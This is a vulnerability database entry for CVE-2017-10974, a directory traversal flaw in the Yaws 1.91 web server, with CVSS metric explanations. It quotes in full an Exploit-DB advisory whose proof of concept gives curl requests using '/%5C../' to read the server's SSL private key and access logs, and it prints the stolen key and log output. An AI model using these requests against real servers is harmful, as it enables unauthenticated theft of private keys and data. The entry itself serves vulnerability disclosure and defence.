CVE-2017-10974 : Detail

CVE-2017-10974

7.5
/
High
Directory Traversal
A01-Broken Access Control
90.89%V3
Network
2017-07-07
09h00 +00:00
2017-07-12
07h57 +00:00
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CVE Descriptions

Yaws 1.91 allows Unauthenticated Remote File Disclosure via HTTP Directory Traversal with /%5C../ to port 8080. NOTE: this CVE is only about use of an initial /%5C sequence to defeat traversal protection mechanisms; the initial /%5C sequence was apparently not discussed in earlier research on this product.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42303

Publication date : 2017-07-06 22h00 +00:00
Author : hyp3rlinx
EDB Verified : No

[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt [+] ISR: ApparitionSec Vendor: ========== yaws.hyber.org Product: =========== Yaws v1.91 (Yet Another Web Server) Yaws is a HTTP high perfomance 1.1 webserver particularly well suited for dynamic-content web applications. Two separate modes of operations are supported: Standalone mode where Yaws runs as a regular webserver daemon. This is the default mode. Embedded mode where Yaws runs as an embedded webserver in another Erlang application. Vulnerability Type: =================== Unauthenticated Remote File Disclosure CVE Reference: ============== CVE-2017-10974 Security Issue: ================ Remote attackers who can reach Yaws web server can read the server SSL private key file using directory traversal attacks, access logs are also disclosed etc... this version is somewhat old, however, still avail for download as of the time of this writing. http://yaws.hyber.org/download/ Exploit/POC: ============= Steal Yaws Server SSL private key ".pem" file. curl http://REMOTE-VICTIM-IP:8080/%5C../ssl/yaws-key.pem -----BEGIN RSA PRIVATE KEY----- MIICWwIAAAKBgQDMJHAcJXB9TzkYg/ghXNjOAp3zcgKC4XZo4991SPGYukKVU1Fv RX0YgPx3wz8Ae7ykPg0KW7O3D9Pn8liazTYEaXskNKAzOFr1gtBd7p937PKNQk++ 3/As5EfJjz+lBrwUGbSicJgldJk3Cj89htMUqGwL2Bl/yOQIsZtyLlrP1wIDAQAB AoGAYgEwTWLwAUjSaWGs8zJm52g8Ok7Gw+CfNzYG5oCxdBgftR693sSmjOgHzNtQ WMQOyW7eDBYATmdr3VPsk8znHBSfQ19gAJjR89lJ6lt5qDMNtXMUWILn91g+RbkO gmTkhD8uc0e/3FJBwPxFJWQzFEcAR4jNFJwhNzg6CO8CK/ECQQD7sNzvMRnUi1RQ tiKgRxdjdEwNh52OUPwuJWhKdBLIpHBAJxCBHJB+1N0ufpqaEgUfJ5+gEYrBRMJh aTCIJul5AkEAz6MsmkMz6Iej5zlKrlDL5q6GU+wElXK/F1H8tN/JchoSXN8BRCJZ DLpK0mcMN4yukHKDCo0LD9NBlRQFDll/zwJASb2CrW2kVLpRhKgoMu9BMflDwv8G IcqmZ9q72HxzeGd9H76SPlGhIBe7icC8CQHYkE0qnlolXgSIMsP/3RQReQJAYHnt +INvNAUKSB6br6EFDNtcuNO6UYJufbRvmc89d5HbpGFN4k2fWMWajGarC4iHd8Bt WNKuKB09pLoXm1JEiwJAfRtIXE6sr4MQOL6aWwGElw+Yb4B1WBhBiPRRwGTX0nzN HXF3851+kgZBZjjzA3Ib2nr5PeXkZBBLE/4jJvRPRA== -----END RSA PRIVATE KEY----- --- OR Read the access logs. --- curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY> <H1>Not Found</H1>The requested URL /../logs/localhost.8080.access was not found on this server.<P><HR> <address> Yaws 1.91 Server at localhost:8080 </address> </BODY></HTML>[root@localhost ~]# Then, curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access 127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET / HTTP/1.1" 200 74419 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" 127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /stil.css HTTP/1.1" 200 1677 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" 127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_head.gif HTTP/1.1" 200 2308 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" 127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_pb.gif HTTP/1.1" 200 1444 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" 127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_y.gif HTTP/1.1" 200 4831 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" 127.0.0.1 - - [26/Jun/2017:09:52:33 -0400] "GET /bindings.yaws HTTP/1.1" 200 5502 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" 127.0.0.1 - - [26/Jun/2017:09:52:42 -0400] "GET /configuration.yaws HTTP/1.1" 200 8634 "http://127.0.0.1:8080/bindings.yaws" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" etc... Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ================================= Vendor Notification: June 26, 2017 No replies July 7, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Products Mentioned

Configuraton 0

Yaws>>Yaws >> Version 1.91

References

http://www.securityfocus.com/bid/99515
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42303/
Tags : exploit, x_refsource_EXPLOIT-DB